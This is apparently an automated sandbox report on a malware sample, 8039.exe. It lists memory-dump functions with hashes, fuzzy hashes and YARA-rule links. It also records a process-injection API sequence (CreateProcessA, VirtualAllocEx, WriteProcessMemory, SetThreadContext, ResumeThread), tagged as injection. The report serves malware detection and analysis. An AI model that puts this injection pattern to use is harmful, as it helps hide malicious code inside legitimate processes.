Source File: 00000013.00000002.960013142.0000000002990000.00000040.00000001.sdmp, Offset: 02990000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a33f192117066db9ad196685e4332ff0581e085c2d7eb5b4716c458391ba6015
Instruction ID: ef0b2425bff504fa9c5113b6af8ddab91f656beaee832557c4d5cb9c034142e8
Opcode Fuzzy Hash: a33f192117066db9ad196685e4332ff0581e085c2d7eb5b4716c458391ba6015
Instruction Fuzzy Hash: 4ED0223260832C6B0704DAE89450ACEBBAECA400B4B01006BC209D7300EE71190083D4

Uniqueness

Uniqueness Score: -1.00%

Function 02990940, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.960013142.0000000002990000.00000040.00000001.sdmp, Offset: 02990000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4718807d05ebaa2c0bfdf70715433e8d932769d16df65edf3e02fa8ebae92656
Instruction ID: 91f3c44f11a27194c5cfb6c9933a45d12f97c61a1c3e601d01c8859bda884cb5
Opcode Fuzzy Hash: 4718807d05ebaa2c0bfdf70715433e8d932769d16df65edf3e02fa8ebae92656
Instruction Fuzzy Hash: C8D05E31E0120CFF8B50DFB8E90449DB7FEEB48244B2049E9D808D7200EB31AF149BA8

Uniqueness

Uniqueness Score: -1.00%

Function 029904B8, Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.960013142.0000000002990000.00000040.00000001.sdmp, Offset: 02990000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93626a38062adad5f1a62bfeb2514fa4351c1766933dc88c1707cab61a472ada
Instruction ID: 0ef1dec7c002b4a2493a47f35aaf8d9b5c2146f23727a83aff40e68a11528f5c
Opcode Fuzzy Hash: 93626a38062adad5f1a62bfeb2514fa4351c1766933dc88c1707cab61a472ada
Instruction Fuzzy Hash: 7DC08C20E882800EDF055330A01C33D2E8BA38A314F425C88C00166282CA6AA0388F1B

Uniqueness

Uniqueness Score: -1.00%

Function 02990448, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.960013142.0000000002990000.00000040.00000001.sdmp, Offset: 02990000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e928cf5b9cb454045191125b46f176ea8d929471d933063d40b1e4c09dd5eb5c
Instruction ID: f2068f1c5a289336cdb893f532d3d0d1602e6c30b2e2e7e003134ba05ab29f9f
Opcode Fuzzy Hash: e928cf5b9cb454045191125b46f176ea8d929471d933063d40b1e4c09dd5eb5c
Instruction Fuzzy Hash: F7A011308AC208CB83003BA2B80E0A83B2CAA0C2223C28820B00EC00008AA02A208A80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 055711F0, Relevance: .6, Instructions: 598COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.962340282.0000000005570000.00000040.00000001.sdmp, Offset: 05570000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08e039ffaaa88cf35f22264591479e76568acc270ca5a2f757f42f643ac4af4a
Instruction ID: a7cef89f6c187bfcb068abb0c537f11acc9948a5fd554d13b1f1aa1345b279e8
Opcode Fuzzy Hash: 08e039ffaaa88cf35f22264591479e76568acc270ca5a2f757f42f643ac4af4a
Instruction Fuzzy Hash: CB229B34B006149FD718EB74E859A6ABBA7FFC5214F048869E806DB391DF34EC46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 029914B0, Relevance: .6, Instructions: 595COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.960013142.0000000002990000.00000040.00000001.sdmp, Offset: 02990000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ccdaee9be56bb055cde49467361487bd77b5d8026ce1ed5acf93effef125677
Instruction ID: 4ffe9b386ac5d4fe19c74cfacd7da7fb426b7e1643ece12f4cfa41f379a7c400
Opcode Fuzzy Hash: 8ccdaee9be56bb055cde49467361487bd77b5d8026ce1ed5acf93effef125677
Instruction Fuzzy Hash: D32279D269A2C29BD3034BF844BA6D5BFB2DD4B03836D84DDEAC00E027D51666AFD714

Uniqueness

Uniqueness Score: -1.00%

Function 029915AA, Relevance: .6, Instructions: 580COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.960013142.0000000002990000.00000040.00000001.sdmp, Offset: 02990000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cc4d5bc828dbe50209e4aed51508277e60f6f362879ff318dc7ef4f440bd36c
Instruction ID: fbf333da1262d9b013c4d56a71b2a4a29f51c431892bfeb743b0478cd0c4cdbf
Opcode Fuzzy Hash: 7cc4d5bc828dbe50209e4aed51508277e60f6f362879ff318dc7ef4f440bd36c
Instruction Fuzzy Hash: 222269D269A2C29BD3034BF844BA6D5BFB2DD4B03836D84DDEAC00E027D51666AFD714

Uniqueness

Uniqueness Score: -1.00%

Function 02991572, Relevance: .6, Instructions: 580COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.960013142.0000000002990000.00000040.00000001.sdmp, Offset: 02990000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fbc6ec848d6dd2165777e2ed43cb0abbbcb02161e2cd8f5ea1c19076fa08d16
Instruction ID: c4dfc802e5bdf2975701aea5d25fea671f28ab279386d7925db13a17f74830ad
Opcode Fuzzy Hash: 6fbc6ec848d6dd2165777e2ed43cb0abbbcb02161e2cd8f5ea1c19076fa08d16
Instruction Fuzzy Hash: 742269D269A2C29BD3034BF844BA6D5BFB2DD4B03836D84DDEAC00E027D51666AFD714

Uniqueness

Uniqueness Score: -1.00%

Function 029914ED, Relevance: .6, Instructions: 579COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.960013142.0000000002990000.00000040.00000001.sdmp, Offset: 02990000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14987a088f9ba10268be57d7a40b3d7dd499cec3beb83d7be94f75416804b233
Instruction ID: 36cc47bc611d8b7372710097af67d7539838e24455b42c20273c2ec0263fdb86
Opcode Fuzzy Hash: 14987a088f9ba10268be57d7a40b3d7dd499cec3beb83d7be94f75416804b233
Instruction Fuzzy Hash: 25226AD169A2C29BD3034BF844BA6D5BFB2DD4B03836D84DDEAC00E027D51666AFD714

Uniqueness

Uniqueness Score: -1.00%

Function 0299151F, Relevance: .6, Instructions: 579COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.960013142.0000000002990000.00000040.00000001.sdmp, Offset: 02990000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ebe9687db852acdc48404b6faeb087b387a4941415c1718ad632dedbda959fa
Instruction ID: 9587d5cc1da0a91665afde02bf0815bdc54faf789e044a9497689515a38aba74
Opcode Fuzzy Hash: 6ebe9687db852acdc48404b6faeb087b387a4941415c1718ad632dedbda959fa
Instruction Fuzzy Hash: 7F2269D269A2C29BD3034BF844BA6D5BFB2DD4B03836D84DDEAC00E027D51666AFD714

Uniqueness

Uniqueness Score: -1.00%

Function 0299154A, Relevance: .6, Instructions: 579COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.960013142.0000000002990000.00000040.00000001.sdmp, Offset: 02990000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba0d5a09234d7eb4dba263a92f71041b28d66335f4299c8f06a670c421b94833
Instruction ID: 999b37dacedac9295d515406310945205e92d94a2fc874789e75cf0afd564486
Opcode Fuzzy Hash: ba0d5a09234d7eb4dba263a92f71041b28d66335f4299c8f06a670c421b94833
Instruction Fuzzy Hash: 532269D269A2C29BD3034BF844BA6D5BFB2DD4B03836D84DDEAC00E027D51666AFD714

Uniqueness

Uniqueness Score: -1.00%

Function 02991594, Relevance: .6, Instructions: 578COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.960013142.0000000002990000.00000040.00000001.sdmp, Offset: 02990000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dd13d440e8fa72794e978eaabf88bf892ca8d5d2058901afc9aa46296cc7be9
Instruction ID: 577da5bc271291f2c864f730760bb6ff8033e67f374569a6c424a6d4be58f4c1
Opcode Fuzzy Hash: 1dd13d440e8fa72794e978eaabf88bf892ca8d5d2058901afc9aa46296cc7be9
Instruction Fuzzy Hash: B92269D269A2C29BD3034BF844BA6D5BFB2DD4B03836D84DDEAC00E027D51666AFD714

Uniqueness

Uniqueness Score: -1.00%

Function 0299150A, Relevance: .6, Instructions: 578COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.960013142.0000000002990000.00000040.00000001.sdmp, Offset: 02990000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30ca7b572779e9b492edb9fbc7f5e74bbcf4f148464669e0c83ef0d0f49c5204
Instruction ID: 9012a084f09ec7fcb8a46dcc9967d409fadf757304a24a18e67fd548cedd12a6
Opcode Fuzzy Hash: 30ca7b572779e9b492edb9fbc7f5e74bbcf4f148464669e0c83ef0d0f49c5204
Instruction Fuzzy Hash: 562269D269A2C29BD3034BF844BA6D5BFB2DD4B03836D84DDEAC00E027D51666AFD714

Uniqueness

Uniqueness Score: -1.00%

Function 02991535, Relevance: .6, Instructions: 578COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.960013142.0000000002990000.00000040.00000001.sdmp, Offset: 02990000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64e9bf4f3e7d5f771716eb3d39f12217ff8932c0a5951912b1bf13a9b2d9da23
Instruction ID: 4ddee182f6c1ad3a096a747a60b7c3f50ed646d8cfdc4ab8671e2366c9b73126
Opcode Fuzzy Hash: 64e9bf4f3e7d5f771716eb3d39f12217ff8932c0a5951912b1bf13a9b2d9da23
Instruction Fuzzy Hash: 802269D269A2C29BD3034BF844BA6D5BFB29D4B03836D84DDEAC00E027D51666AFD714

Uniqueness

Uniqueness Score: -1.00%

Function 02993E5E, Relevance: .6, Instructions: 576COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.960013142.0000000002990000.00000040.00000001.sdmp, Offset: 02990000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39141126e7478c5172e08b48930ba85e9de9e587c1689c74a02127b6df697231
Instruction ID: 54c6fbc2a4fd6e098f89918121ea565154e989b44ba17f096fe8019ffce5eef1
Opcode Fuzzy Hash: 39141126e7478c5172e08b48930ba85e9de9e587c1689c74a02127b6df697231
Instruction Fuzzy Hash: 682259D269A2C29BD3434BF844BA6D5BFB2DD4B03836D80DDEAC00E027D51666AFD714

Uniqueness

Uniqueness Score: -1.00%

Function 0557C708, Relevance: .4, Instructions: 393COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.962340282.0000000005570000.00000040.00000001.sdmp, Offset: 05570000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb9fa37806a39c2e6b01521d1f257814378d0237855531b1f4a0af5413c8b407
Instruction ID: 79f0849f2543580d3ec1ebf46947f90b796de798e85d98aeeb492bdc6abc4bfc
Opcode Fuzzy Hash: bb9fa37806a39c2e6b01521d1f257814378d0237855531b1f4a0af5413c8b407
Instruction Fuzzy Hash: 8BC1E16CB0006C1BE668A7F84EA87BF10DF9BC8648F144859910BDB3DDDF698D5103EA

Uniqueness

Uniqueness Score: -1.00%

Function 0557C628, Relevance: .4, Instructions: 369COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.962340282.0000000005570000.00000040.00000001.sdmp, Offset: 05570000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb672c3ccafe2ed2cbe71f04441397bce201dffaf4f558c6f9a0b16cff4678af
Instruction ID: 7f1a855b41da1d87afa38afdcae3d296dd6e8efc0515ec7ef48dab3f7c722910
Opcode Fuzzy Hash: cb672c3ccafe2ed2cbe71f04441397bce201dffaf4f558c6f9a0b16cff4678af
Instruction Fuzzy Hash: E171DE6DB0006C1BE668A7F84EA47BF10DF9BC8648F144C69910BDB3DDDE688D5503EA

Uniqueness

Uniqueness Score: -1.00%

Function 02991228, Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.960013142.0000000002990000.00000040.00000001.sdmp, Offset: 02990000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 195850e2f0f5b5ec90fae4d49ae2240361ed9596e02cad03b20a4ce33f8b471a
Instruction ID: 6dc28a10af41bc04c77f1283951a41207723e89dbc63fbf378c6b0b39ffb2563
Opcode Fuzzy Hash: 195850e2f0f5b5ec90fae4d49ae2240361ed9596e02cad03b20a4ce33f8b471a
Instruction Fuzzy Hash: 0F515F74E052448FE70CDF7AE8586AA7BFBFBC4304F04D829C4049B364EB78581A8B52

Uniqueness

Uniqueness Score: -1.00%

Function 02991238, Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.960013142.0000000002990000.00000040.00000001.sdmp, Offset: 02990000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f85356c29a1e137e6ff797d5c368d126300faa30e71d117cdbf515aea2b8b39
Instruction ID: 91ad66364c5b8ad97d2168d50c69866c5c8c6518368ebcbe2cf70127bac20479
Opcode Fuzzy Hash: 7f85356c29a1e137e6ff797d5c368d126300faa30e71d117cdbf515aea2b8b39
Instruction Fuzzy Hash: 8E514074E052448BE74CDF7AE84869A7BFBFBC4704F04D829C4049B364EF7858158B56

Uniqueness

Uniqueness Score: -1.00%

Function 02999098, Relevance: 8.9, Strings: 7, Instructions: 113COMMON

Download Yara Rule

Strings

,~|k, xrefs: 02999103
,~|k, xrefs: 029991B3
,~|k, xrefs: 0299915B
,~|k, xrefs: 0299912F
,~|k, xrefs: 02999187
,~|k, xrefs: 029991DF
,~|k, xrefs: 029990DA

Memory Dump Source

Source File: 00000013.00000002.960013142.0000000002990000.00000040.00000001.sdmp, Offset: 02990000, based on PE: false

Similarity

API ID:
String ID: ,~|k$,~|k$,~|k$,~|k$,~|k$,~|k$,~|k
API String ID: 0-4084613072
Opcode ID: df1e4531ffdd98e0402d4b69b1f7cd8c5af77b047db57fa95a37911d6319d27b
Instruction ID: 59c7b8d0366a4ab7b17bda20cac8e81a8670df8c2badce6452516e7f55b240b6
Opcode Fuzzy Hash: df1e4531ffdd98e0402d4b69b1f7cd8c5af77b047db57fa95a37911d6319d27b
Instruction Fuzzy Hash: 7931A2393001189BD7086778E99863E369FDBC6644B1488ADE4069B3D8CF7C5C064BBB

Uniqueness

Uniqueness Score: -1.00%

Function 029994D1, Relevance: 8.9, Strings: 7, Instructions: 112COMMON

Download Yara Rule

Strings

,~|k, xrefs: 02999617
,~|k, xrefs: 02999512
,~|k, xrefs: 02999567
,~|k, xrefs: 0299953B
,~|k, xrefs: 029995EB
,~|k, xrefs: 02999593
,~|k, xrefs: 029995BF

Memory Dump Source

Source File: 00000013.00000002.960013142.0000000002990000.00000040.00000001.sdmp, Offset: 02990000, based on PE: false

Similarity

API ID:
String ID: ,~|k$,~|k$,~|k$,~|k$,~|k$,~|k$,~|k
API String ID: 0-4084613072
Opcode ID: 7d5710848a72f78a8f97c1c0b699e21e656ff168f9d6afc74aae51f3da2e05f5
Instruction ID: a5037e5687af74c1cc4dca52a7ed5cc498af91959d850d576f87048dd18a9bcf
Opcode Fuzzy Hash: 7d5710848a72f78a8f97c1c0b699e21e656ff168f9d6afc74aae51f3da2e05f5
Instruction Fuzzy Hash: 7B31A2397001189BD7056778E99863E729FDBCA740B14886DE8028B398DF3C9C0A4BB7

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 8039.exe PID: 5408 Parent PID: 3424 8039.exeCOMMON

Executed Functions

Function 013CCAA8, Relevance: 1.7, APIs: 1, Instructions: 243processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 013CCCDE

Memory Dump Source

Source File: 00000014.00000002.859472132.00000000013C0000.00000040.00000001.sdmp, Offset: 013C0000, based on PE: false

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: b7fbaa507a44c6cd33f2a626a7759c664cddf973fd27f29da3cf63fbe602faa0
Instruction ID: ab3298ce6a0d07a637ea7abb70ddb618c16cad951dd10ff49689ab0002eafeaa
Opcode Fuzzy Hash: b7fbaa507a44c6cd33f2a626a7759c664cddf973fd27f29da3cf63fbe602faa0
Instruction Fuzzy Hash: BA913971D00219CFDB14CFA8C8857DDBBB2BF49718F1485A9D819A7240DB749986CF91

Uniqueness

Uniqueness Score: -1.00%

Function 013C1659, Relevance: 1.6, APIs: 1, Instructions: 136memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 013C1783

Memory Dump Source

Source File: 00000014.00000002.859472132.00000000013C0000.00000040.00000001.sdmp, Offset: 013C0000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: df54cf44771278d5d1e6e4dc9d79790740c5c2773d68839ccd06394dd6361590
Instruction ID: b0613735095151bb70bdd6024a56295ca0fed987efd620319895ee955ee33508
Opcode Fuzzy Hash: df54cf44771278d5d1e6e4dc9d79790740c5c2773d68839ccd06394dd6361590
Instruction Fuzzy Hash: DA51B371804258CFCB12CF58C8807D97FB6BF56314F9A8099D4C06B616D336598BCF91

Uniqueness

Uniqueness Score: -1.00%

Function 013C8274, Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 013C8331

Memory Dump Source

Source File: 00000014.00000002.859472132.00000000013C0000.00000040.00000001.sdmp, Offset: 013C0000, based on PE: false

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 8a2dc15689ad4f2b1a2c77883f71c959b10fc96481926fed397dceafb05cb7c8
Instruction ID: 209ae66988b009e7759ff2b92eab9788f9938bdcb8363dbf7939b3b61cae04f7
Opcode Fuzzy Hash: 8a2dc15689ad4f2b1a2c77883f71c959b10fc96481926fed397dceafb05cb7c8
Instruction Fuzzy Hash: CA41D2B5C0062CCBDB24CFA9C9847DDBBB5FF49308F64846AD408AB250DB756946CF90

Uniqueness

Uniqueness Score: -1.00%

Function 013C6C80, Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 013C8331

Memory Dump Source

Source File: 00000014.00000002.859472132.00000000013C0000.00000040.00000001.sdmp, Offset: 013C0000, based on PE: false

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: d79c65e9004602c05b5a9127337af6af4f192ed6a1a8a64614e62a6fd76f6a6f
Instruction ID: aff8a3f2bff51ac02d1d7bf50a3e92f9ee590c9f78dbb0538dfa380526aae438
Opcode Fuzzy Hash: d79c65e9004602c05b5a9127337af6af4f192ed6a1a8a64614e62a6fd76f6a6f
Instruction Fuzzy Hash: D141F375C0061CCBDB24CFA9C8847DEBBB5FF89708F548469D408AB250DBB16946CF90

Uniqueness

Uniqueness Score: -1.00%

Function 013CC820, Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 013CC8B0

Memory Dump Source

Source File: 00000014.00000002.859472132.00000000013C0000.00000040.00000001.sdmp, Offset: 013C0000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 2e81f581a2682705c490781374e900fe56437f63243fd6f1f03190877c11427c
Instruction ID: 2fc0e2c502eae6ef808327b9cd733bff66203abee7460d2f79a6c22f9d641728
Opcode Fuzzy Hash: 2e81f581a2682705c490781374e900fe56437f63243fd6f1f03190877c11427c
Instruction Fuzzy Hash: 9B2146B19003099FDB10CFA9C8847DEBBF5FF48324F14882AE918A7240D7789954CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 013CC688, Relevance: 1.6, APIs: 1, Instructions: 63threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNELBASE(?,00000000), ref: 013CC706

Memory Dump Source

Source File: 00000014.00000002.859472132.00000000013C0000.00000040.00000001.sdmp, Offset: 013C0000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: a66389399b4b9170be12c68169435526e1ceb7f362620ed3fe8eacf674ed0b61
Instruction ID: 0e82f98c1f5ad659e6b8d622268c49dbf32c80acab8b79112aa183e4053010ca
Opcode Fuzzy Hash: a66389399b4b9170be12c68169435526e1ceb7f362620ed3fe8eacf674ed0b61
Instruction Fuzzy Hash: 20210775D002098FDB10DFAAC4847EEBBF9EB48224F54842ED559A7240DB78A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 013CC910, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 013CC990

Memory Dump Source

Source File: 00000014.00000002.859472132.00000000013C0000.00000040.00000001.sdmp, Offset: 013C0000, based on PE: false

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: c19ee54d6e939a346b852653da08a1da05f95838ac9ecdba2f215cae17cebae4
Instruction ID: 0854d36dde5056294af947e9b664d114c46ae2075186cb2179a2f1cf023e3bea
Opcode Fuzzy Hash: c19ee54d6e939a346b852653da08a1da05f95838ac9ecdba2f215cae17cebae4
Instruction Fuzzy Hash: 122116B19002499FCB10CFAAC884BDEFBF5FF48314F548829E559A7240D7759954CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 013C1710, Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 013C1783

Memory Dump Source

Source File: 00000014.00000002.859472132.00000000013C0000.00000040.00000001.sdmp, Offset: 013C0000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: df8f9250180e779c59e7615047731c8fea40df64b86908a8ac4c5fcb74d5da5e
Instruction ID: fba2f923f3876eaf688819d5affc9bb1c414cc51759a40a3ad911a41fc44a97b
Opcode Fuzzy Hash: df8f9250180e779c59e7615047731c8fea40df64b86908a8ac4c5fcb74d5da5e
Instruction Fuzzy Hash: 5D21E4B5900609DFDB10CF9AC484BDEFBF9FB48324F148429E558A7240D778A944DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 013CC760, Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 013CC7CE

Memory Dump Source

Source File: 00000014.00000002.859472132.00000000013C0000.00000040.00000001.sdmp, Offset: 013C0000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 0dfceadbb45930a7c31bcff12c9f9b5bb3618f3e6cc90d991f4ef253d2aaf631
Instruction ID: 0f29e98be250f23788e6fa90ab49b8edae0d293a6dfa9ad163de2677de9c7037
Opcode Fuzzy Hash: 0dfceadbb45930a7c31bcff12c9f9b5bb3618f3e6cc90d991f4ef253d2aaf631
Instruction Fuzzy Hash: C11137769002489FDF10CFAAC8447DFBBFAEF48324F148819D529A7250C775A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 013CC5D8, Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 013CC63A

Memory Dump Source

Source File: 00000014.00000002.859472132.00000000013C0000.00000040.00000001.sdmp, Offset: 013C0000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 1c815bb2e2bcf3f1a18f658ac9b482ef83bc382b032726ce9f9c60b41746effe
Instruction ID: 7fd5dc0d78c50c2f6da59ccf05fd9729154342dcc451fe6c46b5ab2008f9605a
Opcode Fuzzy Hash: 1c815bb2e2bcf3f1a18f658ac9b482ef83bc382b032726ce9f9c60b41746effe
Instruction Fuzzy Hash: F4113AB1D003488BDB10DFAAC4447DFFBF9AB88228F148819D529A7340C775A944CF95

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: 8039.exe PID: 6032 Parent PID: 5408 8039.exeCOMMON

Executed Functions

Function 028CEC08, Relevance: .4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.950642432.00000000028C0000.00000040.00000001.sdmp, Offset: 028C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26b9cca78fbad0abcbda0566463a9c5fa77cc17ed20c8205523c6c579d3205b6
Instruction ID: 1d81406a98f80f463156013ef3a1eee80b2b9723b146a664fca0b14234df99d2
Opcode Fuzzy Hash: 26b9cca78fbad0abcbda0566463a9c5fa77cc17ed20c8205523c6c579d3205b6
Instruction Fuzzy Hash: BAD1C178B002048FDB14EBB9D854AAE77FBEFC8214B2084A9D509DB755EB34DC02CB91

Uniqueness

Uniqueness Score: -1.00%

Function 028C84B8, Relevance: 2.0, Instructions: 1975COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.950642432.00000000028C0000.00000040.00000001.sdmp, Offset: 028C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f116fe93a8d8e1d64912ed0f5feda7d8086444b099e06b8c80d28c5505945dd
Instruction ID: a3450429108a308081afeb5f1cb0655a8c3414406eac25808934622239edd4b4
Opcode Fuzzy Hash: 3f116fe93a8d8e1d64912ed0f5feda7d8086444b099e06b8c80d28c5505945dd
Instruction Fuzzy Hash: 1613FD38905204EFCF2AAF60D45199DB732FF9930AB1184AADD113AB65CB3BD952DF01

Uniqueness

Uniqueness Score: -1.00%

Function 028C84C8, Relevance: 2.0, Instructions: 1973COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.950642432.00000000028C0000.00000040.00000001.sdmp, Offset: 028C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63ad4c6f6a7dba54c2d91bc04ff85a8ca5653bbbe50ada6dc7823d8bc72c38b0
Instruction ID: 9e4e55520dcd58f1dea5e21480fd60319278bb56f8218fc08fd67928f194ffd8
Opcode Fuzzy Hash: 63ad4c6f6a7dba54c2d91bc04ff85a8ca5653bbbe50ada6dc7823d8bc72c38b0
Instruction Fuzzy Hash: A213FE38905204EFCF2AAF60D45199DB732FF9930AB1184AADD113AB65CB3BD952DF01

Uniqueness

Uniqueness Score: -1.00%

Function 028C04C8, Relevance: 1.6, Strings: 1, Instructions: 381COMMON

Download Yara Rule

Strings

x&l, xrefs: 028C0546

Memory Dump Source

Source File: 00000016.00000002.950642432.00000000028C0000.00000040.00000001.sdmp, Offset: 028C0000, based on PE: false

Similarity

API ID:
String ID: x&l
API String ID: 0-4084917209
Opcode ID: 1590652414d463430742459624e77ba13ec2065a9c86b69fc6f673b99f83a6d6
Instruction ID: ded15bbcbf34bd8deb8108d2eca15466783aeed7cd67de2ce08167f469768cb6
Opcode Fuzzy Hash: 1590652414d463430742459624e77ba13ec2065a9c86b69fc6f673b99f83a6d6
Instruction Fuzzy Hash: 74E18E3AA00218DFCB16AFA1C940FAD7BB2FF48314F5584A8E10A9B671DB31D995DF41

Uniqueness

Uniqueness Score: -1.00%

Function 028C04A1, Relevance: 1.6, Strings: 1, Instructions: 365COMMON

Download Yara Rule

Strings

x&l, xrefs: 028C0546

Memory Dump Source

Source File: 00000016.00000002.950642432.00000000028C0000.00000040.00000001.sdmp, Offset: 028C0000, based on PE: false

Similarity

API ID:
String ID: x&l
API String ID: 0-4084917209
Opcode ID: ad96e9babb65602d6a6285f8cde4b03f40e6c07d79cdcf6a9a5042644e08d6d3
Instruction ID: f65b396be9487ca40af367e2a0cf3009bb68321f2092133e632e0b190c03fa87
Opcode Fuzzy Hash: ad96e9babb65602d6a6285f8cde4b03f40e6c07d79cdcf6a9a5042644e08d6d3
Instruction Fuzzy Hash: 81D19E3AA00218DFCF169FA1C940EA97BB2FF48314F1585A8E50ADB672DB31D955DF40

Uniqueness

Uniqueness Score: -1.00%

Function 028CE378, Relevance: 1.6, Strings: 1, Instructions: 346COMMON

Download Yara Rule

Strings

,~|k, xrefs: 028CE83C

Memory Dump Source

Source File: 00000016.00000002.950642432.00000000028C0000.00000040.00000001.sdmp, Offset: 028C0000, based on PE: false

Similarity

API ID:
String ID: ,~|k
API String ID: 0-3424978154
Opcode ID: e8a9ea47bfd91648444bbe4d67216077c52f8a4eb26a67088b43843b4e1d12f0
Instruction ID: 9937cd151cfbaece949bbcfca183967380615c1ec2653c4e66213cfec7095410
Opcode Fuzzy Hash: e8a9ea47bfd91648444bbe4d67216077c52f8a4eb26a67088b43843b4e1d12f0
Instruction Fuzzy Hash: BEE15F38A00209DFDB14DFA5D594A9EBBB2FF88315F148968E40AAB355DB74EC41CF50

Uniqueness

Uniqueness Score: -1.00%

Function 028C2A59, Relevance: 1.4, Strings: 1, Instructions: 137COMMON

Download Yara Rule

Strings

8c_m, xrefs: 028C2B7A

Memory Dump Source

Source File: 00000016.00000002.950642432.00000000028C0000.00000040.00000001.sdmp, Offset: 028C0000, based on PE: false

Similarity

API ID:
String ID: 8c_m
API String ID: 0-1349133909
Opcode ID: cd8e7cd191747a6c35fae0d856e1dab5809296fcde4429f21ab110f7a820d666
Instruction ID: 0f711bcf35b0dfc7df72698373265839253b39520dc1452f9e362c357f864250
Opcode Fuzzy Hash: cd8e7cd191747a6c35fae0d856e1dab5809296fcde4429f21ab110f7a820d666
Instruction Fuzzy Hash: 5C41E635B005088FD704BBB9E4540ADBBB6FFC9311B10465DD452A73D8EF34AD5A8B62

Uniqueness

